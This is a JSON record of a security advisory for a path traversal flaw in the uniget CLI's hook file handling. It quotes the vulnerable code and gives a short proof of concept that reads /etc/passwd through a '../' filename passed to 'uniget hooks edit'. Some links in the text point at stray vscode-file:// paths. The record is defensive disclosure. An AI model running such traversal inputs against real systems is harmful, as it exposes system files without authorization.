{"id":"GHSA-m6jg-wr9m-cg2f","revision":"81fb33f54f324ea88dfc7b8f363cf8d6","records":[{"revision":"81fb33f54f324ea88dfc7b8f363cf8d6","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-m6jg-wr9m-cg2f","aliases":["CVE-2026-55062","GO-2026-6247"],"title":"uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability","description":"### Summary\nPath Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html).\n\n**Details**\nFile: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) `Lines 135-160`\n```\nhookFileName := args[0]  // User input not validated\nhookFile = preInstallHooksDir + \"/\" + hookFileName  // Direct concatenation\n```\n\nHook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.\n\n\n\n### PoC\n**Step 1:** Set cat as editor\n```\nexport EDITOR=\"cat\"\n```\n**Step 2:** Read /etc/passwd via path traversal\n\n```\n./uniget hooks edit --type=pre-install \"../../../../etc/passwd\"\n```\n\n**Step 3:** Output shows file contents\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n[...]\n```\n\n<img width=\"1014\" height=\"178\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0db0fe7e-533b-4d8e-a346-81886ce866ab\" />","state":0,"publishedAt":"2026-08-17T17:46:33+00:00","modifiedAt":"2026-08-18T15:11:05.2637196+00:00","affected":[{"ecosystem":"Go","name":"gitlab.com/uniget-org/cli","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.27.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/uniget-org/cli/security/advisories/GHSA-m6jg-wr9m-cg2f","https://github.com/uniget-org/cli/commit/7b4f18a9f00f0955f830c7ccf266ed0de5f9fd91","https://github.com/uniget-org/cli","https://github.com/uniget-org/cli/releases/tag/v0.27.6"],"sourceUrl":"https://github.com/advisories/GHSA-m6jg-wr9m-cg2f","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-m6jg-wr9m-cg2f","identifiers":["GHSA-m6jg-wr9m-cg2f","CVE-2026-55062","GO-2026-6247"]},"retained":false,"historicalAffected":[]}],"coverage":[]}